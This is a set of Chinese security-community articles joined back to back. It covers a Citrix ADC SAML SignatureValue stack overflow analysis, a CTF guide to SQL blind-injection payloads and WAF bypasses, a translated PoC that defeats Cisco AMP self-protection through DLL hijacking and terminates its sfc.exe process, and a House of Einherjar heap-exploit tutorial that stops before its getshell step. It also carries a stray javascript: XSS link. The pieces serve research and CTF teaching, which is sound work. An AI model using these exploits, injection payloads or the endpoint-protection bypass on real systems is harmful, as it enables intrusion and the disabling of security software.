__int64 v8; // r12
__int64 v9; // rbx
int v10; // r9d
int v11; // r9d
unsigned __int16 v12; // ax
unsigned int v13; // eax
unsigned int v14; // ebx
unsigned int v15; // eax
__int64 v16; // rbx
int v17; // r8d
int v18; // r9d
int v19; // r8d
int v20; // r9d
unsigned __int16 v21; // ax
unsigned int v22; // eax
char v24; // [rsp+0h] [rbp-80h]
char v25; // [rsp+0h] [rbp-80h]
char v26; // [rsp+0h] [rbp-80h]
char v27; // [rsp+0h] [rbp-80h]
__int64 v28; // [rsp+18h] [rbp-68h] BYREF
__int64 v29[2]; // [rsp+20h] [rbp-60h] BYREF
int v30; // [rsp+30h] [rbp-50h]
int v31; // [rsp+34h] [rbp-4Ch]
int v32; // [rsp+38h] [rbp-48h]
int v33; // [rsp+3Ch] [rbp-44h]
int v34; // [rsp+40h] [rbp-40h]
v29[0] = 0LL;
v29[1] = a1;
v30 = a3;
v31 = a3;
v32 = 4;
v33 = 22;
LOBYTE(v34) = v34 & 0xE0;
v34 = (32 * ASTR_NOT_REF_COUNTED) | v34 & 0x1F;
v7 = astr_canonicalize(*(_QWORD *)(*((_QWORD *)cur_as_partition + 2) + 8LL), 5LL, v29, a5, 0LL, 0LL);
v8 = v7;
if ( v7 )
{
v15 = *(_DWORD *)(v7 + 16);
if ( v15 <= a4 )
{
ns_bcopy_(*(_QWORD *)(v8 + 8), a2, v15);
v14 = *(_DWORD *)(v8 + 16);
astr_destroy(*(_QWORD *)(*((_QWORD *)cur_as_partition + 2) + 8LL), 5LL, v8);
}
else
{
...... //日志记录
astr_destroy(*(_QWORD *)(*((_QWORD *)cur_as_partition + 2) + 8LL), 5LL, v8);
return 0;
}
}
else
{
...... //日志记录
return 0;
}
return v14;
}
可以发现，新版本的`ns_aaa_entity_encode_decode`函数多了一个`a4`参数，只有`v15`变量小于传入的`a4`参数值，才进行后面的`ns_bcopy_`内存复制函数，将`astr_canonicalize`函数返回的结构体偏移0x8位置指向的内存复制到参数`a2`指向的内存中，复制长度是上面`astr_canonicalize`函数返回的结构体偏移0x10的成员。对比下两个版本的`astr_canonicalize`函数并无明显差异。因此继续分析上层函数，查看`ns_aaa_entity_encode_decode`函数的交叉引用，有不少位置调用了该函数。
我们尝试在该`ns_aaa_entity_encode_decode`函数打个断点，通过访问`https://gateway.nstest.local`看能不能断下来。
(gdb) b ns_aaa_saml_entity_encode_decode
Breakpoint 1 at 0xbebfb4
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000bebfb4 in ns_aaa_saml_entity_encode_decode ()
(gdb) bt
#0 0x0000000000bebfb4 in ns_aaa_saml_entity_encode_decode ()
#1 0x0000000000bf8356 in ns_aaa_saml_verify_signature ()
#2 0x0000000000c216ca in ns_aaa_saml_process_data ()
#3 0x0000000000c25577 in ns_aaa_process_saml_req ()
#4 0x0000000000c25842 in ns_aaa_saml_auth ()
#5 0x00000000007c6a45 in ns_vpn_process_unauthenticated_request ()
#6 0x000000000080a326 in ns_aaa_cookie_valid ()
#7 0x000000000081ca31 in ns_aaa_client_handler ()
#8 0x0000000001c2e6a1 in nshttp_input ()
#9 0x0000000001c2433b in nshttp_handler ()
#10 0x00000000016e495e in ns_async_restart_http ()
#11 0x0000000000bfaf40 in ns_aaa_saml_canon_resp_handler ()
#12 0x000000000079ab48 in nsaaa_handler ()
#13 0x0000000001c6d149 in nstcp_input ()
#14 0x0000000001c59e0a in handleL4Session ()
#15 0x0000000001c5724f in dispatch_tcp ()
#16 0x00000000010cf0eb in vmpe_intf_loop_rx_proc ()
#17 0x0000000001c55472 in vc_poll ()
#18 0x00000000015b5ae3 in ns_netio ()
#19 0x00000000015baf4b in packet_engine ()
#20 0x00000000019bd9a3 in ns_enter_main ()
#21 0x00000000019c1fe9 in main ()
成功断了下来，通过调用栈可以看出来这里是处理SAML响应的流程，到这里可以基本判定这里是漏洞点了。
我们继续分析新版本上层`ns_aaa_saml_verify_signature`函数，可以发现传入的第四个参数（即用来长度比较的参数）是0x800，第二个参数`v78`（即内存复制目的位置的参数）是一个栈变量，栈空间刚好是0x800大小。
而老版本直接传入了栈变量`v78`，到这里栈溢出已经呼之欲出了。
通过逆向分析得知该函数是对SAMLResponse进行签名验证，我们在调用`ns_bcopy_`位置处打个断点看看复制的源内存是什么数据。
(gdb) b *0xBEC15A
Breakpoint 1 at 0xbec15a
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000bec15a in ns_aaa_saml_entity_encode_decode ()
(gdb) x/10i $rip
0xbec15a <ns_aaa_saml_entity_encode_decode+426>:
callq 0x1c5e390 <ns_bcopy_>
0xbec15f <ns_aaa_saml_entity_encode_decode+431>: mov 0x10(%rbx),%r12d
0xbec163 <ns_aaa_saml_entity_encode_decode+435>:
mov 27378486(%rip),%rax # 0x26084a0 <cur_as_partition>
0xbec16a <ns_aaa_saml_entity_encode_decode+442>: mov 0x10(%rax),%rax
0xbec16e <ns_aaa_saml_entity_encode_decode+446>: mov 0x8(%rax),%rdi
0xbec172 <ns_aaa_saml_entity_encode_decode+450>: mov %rbx,%rdx
0xbec175 <ns_aaa_saml_entity_encode_decode+453>: mov $0x5,%esi
0xbec17a <ns_aaa_saml_entity_encode_decode+458>:
callq 0x1b4b2a0 <astr_destroy>
0xbec17f <ns_aaa_saml_entity_encode_decode+463>:
jmp 0xbec187 <ns_aaa_saml_entity_encode_decode+471>
0xbec181 <ns_aaa_saml_entity_encode_decode+465>: mov $0x0,%r12d
(gdb) x/10gx $rdi
0x1115fe018: 0x5057344157596753 0x356e674e66623269
0x1115fe028: 0x7155336a5a465335 0x2f5a6c7272483653
0x1115fe038: 0x544247674f624d77 0x337a446e39775850
0x1115fe048: 0x654765743451734b 0x30756d4e5a536b4c
0x1115fe058: 0x3461474947764668 0x5a38303835356d64
(gdb) set print elements 0
(gdb) x/s $rdi
0x1115fe018: "SgYWA4WPi2bfNgn55SFZj3UqS6HrrlZ/wMbOgGBTPXw9nDz3KsQ4teGeLkSZNmu0hFvGIGa4dm55808Zuikx4s1rIbTiuyw1z5VkZGuXLl31mObPvrbowtqoBgaeTfAwImtJrw4g2kQoe35b/Z0AgSlu9/LxKRKTaG1jYk6chGNJpKTBCmEqRWKFtJsPjnB9xkAiYspO1T2AsgR9KAq9+cV93X/ZtPkfutRj4IaI3LcMnDxQ+9Pb75HYBZ9LYVqOPGowGVf/Opz40VU6xyWzRlg45ouEHTFS45xCPCe/eQe3mPjsp/kMGsM2e6611stx3Isu+GMgwDGd5hlRp4lFdQ=="
复制的源数据是一串字符串，我们前往burp中看一下流量包刚好是`<SignatureValue>`字段中的数据，因此很自然地想到构造超长字符串替换`<SignatureValue>`标签的内容。
前面我们看到`v78`变量距离栈底部0x890字节，因此构造如下内容：`'A'*0x890+'B'*8+'C'*8`放入`<SignatureValue>`标签中，然后在`ns_aaa_saml_verify_signature`函数最后一条`ret`指令打个断点
成功验证了栈溢出漏洞存在
### 漏洞利用
查看下`nsppe`进程的保护机制，没有canary，栈可执行，程序没有aslr无需泄露基址，可控栈空间很大，似乎是很容易利用。
但很快就发现事情似乎没那么简单，Citrix接收到html中的`SAMLResponse`响应后，将响应base64解码后转换为xml文本，而根据W3C的标准，以下`\x00-\x08?\x0b-\x0c?\x0e-\x1f`16进制的字符是不被允许出现在XML文件中的，即使放在`<![CDATA[]]>`
中，也不能幸免。
也就是说，我们只能控制栈变量到返回地址之间的栈空间，且可控的栈内容不能包含以上字符，因此只能放入经过编码的shellcode。而我们的程序高地址都是`\x00`，也无法在栈中构造ROP链，只有一次覆盖返回地址低位3字节的机会。
可以寻找到合适的gadget将控制流转移到可控栈空间内实现RCE，也可以控制返回地址到大部分任意函数进行恶意操作。
### 参考文章
> 1. [进宫 SAML 2.0 安全](https://paper.seebug.org/2006/)
>
> 2. [How to Hunt Bugs in SAML; a Methodology - Part
> I](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-> a-methodology/)
>
> 3. [CitrixADC
> 四种常见的拓扑模式以及MIP，SNIP的区别](https://blog.csdn.net/caizhih/article/details/121261670)
>
> 4. [How to Hunt Bugs in SAML; a Methodology - Part
> II](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-> a-methodology-part-two/)
>
> 5. [APT5: Citrix ADC Threat Hunting
> Guidance](https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-> APT5-CITRIXADC-V1.PDF)
>
>
* * * | 社区文章 |
# CTF中几种通用的sql盲注手法和注入的一些tips
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在ctf比赛中难免会遇到一些比较有(keng)趣(die)的注入题，需要我们一步步的绕过waf和过滤规则，这种情况下大多数的注入方法都是盲注。然而在盲注过程中由于这些过滤规则不太好绕过，这时候就会无从下手，下面分享一下自己在比赛中总结几种比较通用的盲注手法和一些小tips，希望能在今后大家的比赛或者实战中带来一些实质性的帮助。
## 0x01 XOR注入
> 因为这种方法利用了异或符号，所以给它取名为xor注入
### 1、基本注入payload
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
我们来分析一下这个语句的格式：
首先我们先根据^符号来分割开语句：
admin'
ascii(mid((password)from(i)))>j
'1'='1'%23
最前面和最后面的语句都固定为真（逻辑结果都为1），只有中间的语句不确定真假
**那么整个payload的逻辑结果都由中间的语句决定** ，我们就可以用这个特性来判断盲注的结果了
0^1^0 --> 1 语句返回为真
0^0^0 --> 0 语句返回为假
这里mid函数的使用方法：
正常的用法如下，对于str字符串，从pos作为索引值位置开始，返回截取len长度的子字符串
MID(str,pos,len)
这里的用法是， **from(1)表示从第一个位置开始截取剩下的字符串，for(1)表示从改位置起一次就截取一个字符**
mid((str)from(i))
mid((str)from(i)for(1))
看下图的查询结果应该就知道用法了：
这里可能还会有疑问：为什么这里不加for可以正常运行呢？
> 因为这里的ascii函数是默认取字符串中第一个字符的ascii码做为输出
### 2、使用场景
> 过滤了关键字：and、or
> 过滤了逗号，
> 过滤了空格
**如果这里过滤了=号的话，还可以用 >或者<代替**(大小的比较)
payload：admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23
**如果这里过滤了%号和注释符的话，那就把最后一个引号去掉就可以和后面的引号匹配了 ‘1’=’1**
## 0x02 regexp注入
### 1、基本注入payload
`select (select语句) regexp '正则'`
下面举一个例子来说明一下用法：
首先正常的查询语句是这样：
`select user_pass from users where user_id = 1`
接着进行正则注入，若匹配则返回1，不匹配返回0
select (select user_pass from users where user_id = 1) regexp '^a'
这里的^表示pattern的开头
接着一步步判断
或者regexp这个关键字还可以代替where条件里的=号
select * from users where user_pass regexp '^a9'
### 2、使用场景
> 过滤了=、in、like
这里的^如果也被过滤了的话，可以使用$来从后往前进行匹配
详细的正则注入教程可以看这里：
<http://www.cnblogs.com/lcamry/articles/5717442.html>
## 0x03 order by盲注
### 1、基本注入payload
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3
首先先看看order by的使用方法：
order by 'number' (asc/desc)
即对某一列进行排序， **默认是升序排列** ，即后面默认跟上asc，那么上面一句就相当于
select * from users order by 3 asc
我们在注入时经常会使用order by来判断数据库的列数，那我们这里使用他配合union select来进行注入
### 2、原理分析
首先正常的注入是蓝色那部分的字符串，这里我们的目的是要注出test用户的user_pass值
**接着我们在语句后面加上order by 3，即对第三列进行升序排列(按照ascii码表)**
这里的user_pass列中的3是我们union select里面的第三列，这里就把’3’替换为’a’
这里可能看不出什么变化，那么把他改成’b’看看
看到用户test跑到第一行来了，所以这里经常用来判断有返回差异的注入，且返回只有一列的输出，根据差异来判断我们盲注的值是否正确
当然这里也可以使用order by desc降序排列来注入，所以这里要根据使用场景来进行选择
### 3、使用场景
> 过滤了列名
> 过滤了括号
> 适用于已知该表的列名以及列名位置的注入
## 0x04 实例讲解
1、ascii盲注来自skctf login3的一道题，bugku上也有：
题目链接：<http://123.206.31.85:49167/>
是标准的登陆框，因为存在注入，先fuzz一下过滤了什么字符。使用bp的intruder模块载入字典进行fuzz(字典在后面会分享给大家)。
可以看到这里的=，空格、and、or都被过滤了，但是>、<、^没有被过滤，所以这里使用ascii盲注
这里最后是要注入出admin的password，过程就不详细讲解了，直接给出payload：
username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23
**网鼎杯第二场的一道注入题sqlweb的其中一种解法也是用到这种ascii盲注**
这个payload和我们上面说的是一样的，所以这个就靠你们自己慢慢消化了。
2、regexp盲注是来自实验吧一道注入题
题目链接：<http://ctf5.shiyanbar.com/web/earnest/index.php>
writeup链接：<http://www.shiyanbar.com/ctf/writeup/4828>
当初也是看着p牛的wp做的，发现这道虽然难了点，但是里面的sql的知识点考的倒是不错，是练习过waf的一道好题目。
这道题只有一个id作为输入点，id存在注入点，但是过滤了很多东西，前面的步骤就不详细说了，去看p牛的详细解答
看到这里，过滤了^，但是没过滤$，所以xor注入就无效了，这边选择regexp注入使用$符号从后往前注入
0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='
这里是用python写的脚本，一个一个的对字符串的正则匹配得到最后flag
3、union盲注利用起来比较简单，就是利用上面说的那些条件进行注入，例子是来自蓝鲸ctf的一道ctf题目：
题目链接：<http://ctf.whaledu.com:10012/52gw5g4hvs59/>
题目好像进不去了，但是可以看[我的writeup](http://note.youdao.com/noteshare?id=94ae1c287b7d49a55a7590f1b826df17&sub=4621B6951500439F8D75AF9E8A77A0E2)
首先题目存在sql注入还有一个上传点，可以通过注入拿到所有源码
拿到之后进行审计，发现上传时文件以随机字符串上传到了/Up10aD/文件夹下，我们的目的就是要通过注入拿到上传后的文件，在原来的注入点使用order
by盲注将文件名得到:
重点就在order by盲注这， **注入点在id这里** ：
那么写出order by盲注的脚本如下图：
这里存在过滤，绕过的方法是双写绕过，所以payload看起来不是很清楚，正常的应该是这样的：
image = 79 union distinct select 0x{filename} order by 1 desc
**注意前面的image=79是存在的图片的id，这样order by才可以进行对比实现**
这个注入形式也是和我们上面讲解一样，所以大家可以自己找题目来练习。
## 0x05 其他的一些小tips
### 1、一些等效替代的函数(特殊符号)
字符：
空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'
> [@tmp](https://github.com/tmp "@tmp"):=test只能用在select关键字之后，等号后面的字符串随意
函数：
字符串截断函数：left()、mid()、substr()、substring()
取ascii码函数：ord()、ascii()
### 2、 一次性报所有表明和字段名
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
### 3、Subquery returns more than 1 row的解决方法
产生这个问题的原因是子查询多于一列，也就是显示为只有一列的情况下，没有使用limit语句限制，就会产生这个问题，即limt 0,1
如果我们这里的逗号被过滤了咋办？那就使用offset关键字：
limit 1 offset 1
如果我们这里的limit被过滤了咋办？那就试试下面的几种方法：
(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT
上面这些都涉及到了sql基本语句，这里就不一一举例了。大家可以多在本地环境试试，加深理解
### 4、join注入
**payload：** ：
1' union select * from (select 1) a join (select 2) b %23
优势：过滤了逗号的情况下使用
下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名，因此定义一个别名，然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个，以满足字段数相同的原则]
)
具体的使用方法不在本文的讨论范围内，具体的使用可以看看下面的文章：
<https://blog.csdn.net/qq_33020901/article/details/78906268>
### 5、带!的注入
**直接看下面的payload，适用于and、or、^被过滤的情况下使用，有时候可能也会使用到，但是具体的原理不是很明白，大家可以自行google**
### 6、if盲注(合理利用条件)
if盲注的基本格式：
if(条件,条件为真执行的语句,条件为假执行的语句)
举个例子：
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)
用好if盲注的关键是条件的输入，有一道BCTF的注入题的wp用的就是if盲注
wp链接：<https://www.kingkk.com/2018/04/bctf2018-love-q/>
写博客的这位大佬巧妙利用了 **pow函数数值溢出的特性** ，使得经过if判断后的条件会报错，但是不执行该语句时语法上是没问题的
原理如下：
mysql> **select if(1,1,pow(2,22222222222)); //条件为真时，返回1**
+——————————————+
| if(1,1,pow(2,22222222222)) |
+——————————————+
| 1 |
+——————————————+
1 row in set (0.00 sec)
mysql> **select if(0,1,pow(2,22222222222)); //条件为假时，报错**
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’
像利用pow这种函数溢出的特性也不止这一个，这就需要我们靠平时的经验积累了，总之想要玩好ctf的注入题途径就是多刷题。
## 0x06 自己总结的注入流程
1、先找到注入点，id=，username=，判断GET/POST/COOKIE注入
2、查看显示位，如果只有一个显示位在使用union注入是注意使用limit来限制显示
3、判断字符型注入还是数字型注入（2-1，’是否正常）
4、输入不同值查看页面是否有变化，无变化的话可以考虑采用bool时间盲注，若有报错信息优先考虑报错注入（exp，updatexml（优先采用updatexml、extractvalue报错））
5、先简单测试空格和注释符是否被替换了，id=1 1，id = 1%231（看看能否用/ /、%20、%0a、%09绕过）
6、进行fuzz，看看那些被waf了
7、若页面上没有显示waf过滤之类的提示（sql injection detected），就测试是否有被替换为空的字符（如：’ or ‘*’=’、’ or
‘-‘=’ ，如果页面返回正常的话，则说明该字符被替换为空）
8、简单尝试双写、编码、大小写替换的方法，判断是否可以绕过
9、确定注入方式（尽量把盲注放最后），union、报错注入、盲注
10、先在bp中跑一遍看是否有结果
11、尝试写脚本
最重要的两步就是注入点并判断出注入类型，找到被过滤的函数和关键字并找到替代的函数和关键字，这就需要我们靠自己的耐心和细心还有经验的积累了。
# 0x07 结束语
上面的说的那些盲注手法都是在union注入、报错注入和可回显注入都失效的情况下使用的， **所以说盲注是一种通法，他也是放在最后使用的方法**
，如果本来环境就存在回显的点可以用union直接注入出来，还使用盲注显的有点多此一举，也浪费很多时间。所以这些方法需要根据大家遇到的实际情况进行灵活运用，最后记得多刷题！多刷题！多刷题！最后希望文章能对大家带来帮助。
# 0x08 其他一些不错的参考文章
[SQL注入绕过技巧](https://www.cnblogs.com/Vinson404/p/7253255.html)
[SQLi filter evasion cheat
sheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
[我的WafBypass之道（SQL注入篇）](https://xz.aliyun.com/t/368)
[sql 盲注之正则表达式攻击](https://www.cnblogs.com/lcamry/articles/5717442.html)
[mysql无逗号的注入技巧](https://blog.csdn.net/qq_33020901/article/details/78906268)
[fuzz字典](https://github.com/H4lo/dictionary) | 社区文章 |
[窝，似鸽憨批](http://test.com@javascript:alert\(1\))
> 翻译：CoolCat
> 原文：<https://www.mdsec.co.uk/2018/10/cisco-amp-bypassing-self-protection/>
实战中遇到技术壁垒时，使用一些高效的审计手法加上一点点运气。就可能快速攻破壁垒。这不,最近我们就遇到了思科AMP,分析了其端点保护技术,相关衍生链,以及暴露出来的一些其他产品的问题,包括常遇到的
---自我保护。
如果你经常关注如何在Windows和MacOS操作系统上绕过该技术，那你应该知道我们已经在很多文章中提到过了自我保护技术。这篇文章我们将展示另一种手法来解决这个保护问题，并且对Windows上的思科AMP代理是有效的。
### SFC.EXE
当你放弃了端点并提升到本地管理员后，通过ps指令你会发现sfc.exe这个进程是红色的(也希望它是红色的)。即便是有了SYSTEM权限，你会发现这个过程也是无法终止的，自我保护估计已经被启用了……那现在该怎么办呢?
如之前关于这个主题的帖子所显示的，我们经常发现自我保护具有信任链，即使是在升级过程中，软件也肯定会在某个时候被删一下。
如果我们在思科AMP控制面板看到了禁用保护服务的选项:
毫无疑问为了防止像我们这样的人在损害端点时简单地关闭服务，在禁用时需要提供密码。但是这也反应了一件事，`iptray.exe`这个程序可以禁用思科AMP的自我保护服务。
我们将`iptray.exe`载入`x64dbg`中分析一下它是如何关闭的:
如图，事情并没有我们想象的那么简单。自我保护程序阻止我们简注入或调试`iptray.exe`进程。但这也向我们传达了另一个消息，那就是`iptray.exe`和`sfc.exe`被同一个策略保护了。根据以往的经验，如果我们能够找到一种在屏蔽的过程中能够执行我们自己代码的方法，那可以终止sfc.exe进程。我们该怎样让`iptray.exe`加载并执行我们自定义的代码呢?看下有没有可劫持的dll。
### 通过SetDLLDirectory注入DLL
载入ProcessMonitor，我们看到程序尝试加载了很多dll，很多第一次加载的时候都失败了:
了解了这一点之后，我们创建一个新的DLL(使用任意Dll都可的，这里以`VERSION.DLL`为例)，并使其加载我们的代码。首先我们将DLL加载路径切换到一个有读写权限且容易找到的位置。让Windows从任意目录加载DLL，利用`Win32
API`调用`SetDLLDirectory`，它允许我们自定义加载的路径，当我们调用`iptray.exe`时，后续DLL应该被加载,比如:
SetDllDirectoryA("C:\\Users\\xpn\\AppData\\Local\\Temp");
这步完成之后可以看到DLL全部从我们自定义的路径中加载了：
创建一个简单的DLL，让它弹个消息框:
现在我们已经让`iptray.exe`运行了自定义的代码(并且代码是在self-protection保护伞中执行的)。接下来搜索`sfc.exe`进程并尝试终止服务。这里我们可以用`Win32
API`的`Process32First/Process32Next`。一旦找到，我们就可以使用`TerminateProcess`来停止这个进程。
POC:
#include "stdafx.h"
#include "resource.h"
#include <Windows.h>
#include <Fltuser.h>
HMODULE g_hModule = NULL;
int CALLBACK WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
) {
char tempPath[MAX_PATH + 1], tempDll[MAX_PATH + 1];
DWORD bytesWritten;
// Grab our DLL from a resource
HRSRC res = FindResource(g_hModule, MAKEINTRESOURCEW(IDR_RT_RCDATA1), L"RT_RCDATA");
HGLOBAL resMod = LoadResource(g_hModule, res);
void *resource = LockResource(resMod);
DWORD sizeOfResource = SizeofResource(g_hModule, res);
GetTempPathA(sizeof(tempPath), tempPath);
snprintf(tempDll, sizeof(tempDll), "%s\\%s", tempPath, "VERSION.dll");
// Set DLL path to somewhere we control
SetDllDirectoryA(tempPath);
// Write our DLL to a temp path
HANDLE tempDllHandle = CreateFileA(tempDll, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(tempDllHandle, resource, sizeOfResource, &bytesWritten, NULL);
CloseHandle(tempDllHandle);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Spawn iptray.exe which should load our VERSION.dll
CreateProcessA(NULL, (LPSTR)"C:\\Program Files\\Cisco\\AMP\\6.1.7\\iptray.exe", NULL, NULL, false, 0, NULL, tempPath, &si, &pi);
return 0;
}
注入的DLL看起来是这样的:
#include "stdafx.h"
#include <tlhelp32.h>
__declspec(dllexport) void GetFileVersionA(void) {
}
__declspec(dllexport) void GetFileVersionInfoByHandle(void) {
}
__declspec(dllexport) void GetFileVersionInfoExW(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeA(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeExW(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeW(void) {
}
__declspec(dllexport) void GetFileVersionInfoW(void) {
}
__declspec(dllexport) void VerFindFileA(void) {
}
__declspec(dllexport) void VerFindFileW(void) {
}
__declspec(dllexport) void VerInstallFileA(void) {
}
__declspec(dllexport) void VerInstallFileW(void) {
}
__declspec(dllexport) void VerLanguageNameA(void) {
}
__declspec(dllexport) void VerLangugageNameW(void) {
}
__declspec(dllexport) void VerQueryValueA(void) {
}
__declspec(dllexport) void VerQueryValueW(void) {
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE h, p, toolhelp;
SC_HANDLE sc, s;
DWORD written;
SERVICE_STATUS status;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
Process32First(toolhelp, &pe);
do {
if (strncmp(pe.szExeFile, "sfc.exe", 7) == 0) {
p = OpenProcess(PROCESS_TERMINATE, false, pe.th32ProcessID);
TerminateProcess(p, 1);
break;
}
} while (Process32Next(toolhelp, &pe));
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
POC效果:
<https://www.youtube.com/embed/gIOvcEW7NiE?feature=oembed>
大概就是这样。这肯定不是终止思科AMP受保护进程的唯一方法，但我认使用`SetDLLDirectory`禁用自保护是一种劫持可信进程的好方法！ | 社区文章 |
# pwn堆入门系列教程9
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
[pwn堆入门系列教程4](https://xz.aliyun.com/t/6322)
[pwn堆入门系列教程5](https://xz.aliyun.com/t/6377)
[pwn堆入门系列教程6](https://xz.aliyun.com/t/6406)
[pwn堆入门系列教程7](https://xz.aliyun.com/t/6449)
[pwn堆入门系列教程8](https://xz.aliyun.com/t/6473)
学习House Of Einherjar
## 2016 Seccon tinypad
这道题说难不难。。我也做得久了，因为exp看不懂啊，这么复杂。。。后来简化了下，感觉轻松点了
功能分析，新增，删除，编辑，退出
至于洞，off-by-one
unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, unsigned int terminate)
{
int v4; // [rsp+Ch] [rbp-34h]
unsigned __int64 i; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]
v4 = terminate;
for ( i = 0LL; i < len; ++i )
{
v6 = read_n(0LL, &a1[i], 1LL);
if ( v6 < 0 )
return -1LL;
if ( !v6 || a1[i] == v4 )
break;
}
a1[i] = 0; #a1[i]可以是a1[len],多了一个字节
if ( i == len && a1[len - 1] != '\n' )
dummyinput(v4);
return i;
}
### 漏洞利用过程
#### 堆操作初始化部分
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = elf.libc
io = process('./tinypad')
#context.log_level = 'debug'
def choice(idx):
io.sendlineafter("(CMD)>>> ", idx)
def add(size, content):
choice("A")
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", content)
def remove(idx):
choice("D")
io.sendlineafter("(INDEX)>>> ", str(idx))
def edit(idx, content):
choice("E")
io.sendlineafter("(INDEX)>>> ", str(idx))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", "Y")
def quit():
choice("Q")
#### 泄露地址
#stage 1 leak the addr
add(0x80, '1'*0x80)
add(0x80, '2'*0x80)
add(0x80, '3'*0x80)
add(0x80, '4'*0x80)
remove(3)
remove(1)
io.recvuntil("INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
io.success("heap: 0x%x" % heap)
io.recvuntil("INDEX: 3\n")
io.recvuntil(" # CONTENT: ")
leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
io.success("main_arena: 0x%x" %leak_libc)
libc_base = leak_libc - 0x3c4b20
remove(2)
remove(4)
这个部分简单啊，leak，全在unsortedbin里，这里学到一个知识点是rstrip,通常我只用过strip，
该rstrip()方法删除所有尾随字符（字符串末尾的字符），空格是要删除的默认尾随字符
至于88这个是main_arena+88，减掉就是main_arena
#### House Of Einherjar
add(0x10, '1'*0x10)
add(0x100, '2'*0xf8 + p64(0x11))
add(0x100, '3'*0xf8)
add(0x100, '4'*0xf8)
tinypad = 0x0000000000602040
offset = heap + 0x20 - (0x602040 + 0x20)
io.success("offset: 0x%x" % offset)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
remove(1)
add(0x18, '1'*0x10 + p64(offset))
remove(2)
#gdb.attach(io)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)
原解我感觉把题目搞复杂了，不需要for循环覆盖那个pre_size，完全可以利用add的时候加上就完了，
house of einherjar这个攻击方法有点类似于unlink，不过又不太相似
1. 目标:0x602060这个位置
heap + 0x20是第二个chunk位置
我们目的就是让第二个chunk的上一个chunk达到0x602060
所以pre_size就是第二个chunk位置减去0x602060
offset = heap + 0x20 - (0x602040 + 0x20)
2. fake_chunk这里是从tinypad开始地址开始覆盖的，前面0x20个作为后面填充部分，防止多次写的时候覆盖到
然后指针不像unlink那样了，
p->fd = p
p->bk = p
3. 这里edit的时候都会从tinypad开始覆盖，所以编辑别个也可以的
edit(3, "4"*0x20 + fake_chunk)
4. remove(1)在add(0x18)，利用tcache的复用就行了，原exp的解是搞得很复杂，循环单字节null填充，太麻烦了感觉
5. 这点不用这么复杂，0x101是为了后面分配用的，而p64(leak_libc+88)*2 这里，你只要bk是个可写的地址就行了，不要是不可写的就行，unsortedbin攻击里讲过
引用ctf-wiki
#在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码，当将一个 unsorted bin 取出的时候，会将 bck->fd 的位置写入本 Unsorted Bin 的位置。
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
edit(4, "4" _0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)_ 2)
#### getshell
